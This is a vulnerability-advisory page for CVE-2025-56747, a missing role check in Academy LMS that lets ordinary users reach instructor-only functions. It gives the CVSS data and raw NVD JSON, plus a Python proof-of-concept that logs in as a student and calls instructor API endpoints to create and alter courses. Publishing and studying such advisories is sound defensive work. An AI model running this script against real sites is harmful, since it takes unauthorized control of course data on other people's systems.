Security Vulnerability Report
中文
CVE-2025-56747 CVSS 6.5 MEDIUM

CVE-2025-56747

Published: 2025-10-14 15:16:11
Last Modified: 2025-10-21 14:39:24

Description

Creativeitem Academy LMS up to and including 5.13 contains a privilege escalation vulnerability in the Api_instructor controller where regular authenticated users can access instructor-only functions without proper role validation, allowing unauthorized course creation and management.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:* - VULNERABLE
Creativeitem Academy LMS <= 5.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56747 - Academy LMS Privilege Escalation PoC # Exploits missing role validation in Api_instructor controller import requests # Configuration TARGET_URL = "https://target-academy-lms.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Login as a regular student user session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access instructor-only API endpoint without proper role validation # The Api_instructor controller fails to verify user role instructor_api_url = f"{TARGET_URL}/api/instructor/courses" # Step 3: Create a new course as a regular user (privilege escalation) course_data = { "title": "Malicious Course", "description": "Course created via privilege escalation", "category": "hacking", "price": 0, "status": "active" } response = session.post(instructor_api_url, json=course_data) print(f"[*] Course creation response: {response.status_code}") print(f"[*] Response body: {response.text}") # Step 4: Verify the privilege escalation was successful if response.status_code == 200 or response.status_code == 201: print("[+] Privilege escalation successful! Course created with student account.") else: print("[-] Exploitation failed.") # Alternative: Direct API call to instructor functions headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Attempt to manage courses without instructor role manage_url = f"{TARGET_URL}/api/instructor/course/update" update_data = { "course_id": 1, "title": "Updated by attacker" } response = session.post(manage_url, json=update_data, headers=headers) print(f"[*] Course update response: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56747", "sourceIdentifier": "[email protected]", "published": "2025-10-14T15:16:10.637", "lastModified": "2025-10-21T14:39:24.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creativeitem Academy LMS up to and including 5.13 contains a privilege escalation vulnerability in the Api_instructor controller where regular authenticated users can access instructor-only functions without proper role validation, allowing unauthorized course creation and management."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.13", "matchCriteriaId": "EEDDA428-3C2A-4CB6-B809-9859B79F2486"}]}]}], "references": [{"url": "https://suryadina.com/academy-lms-instructor-escalation-3n7b9f2w5k", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}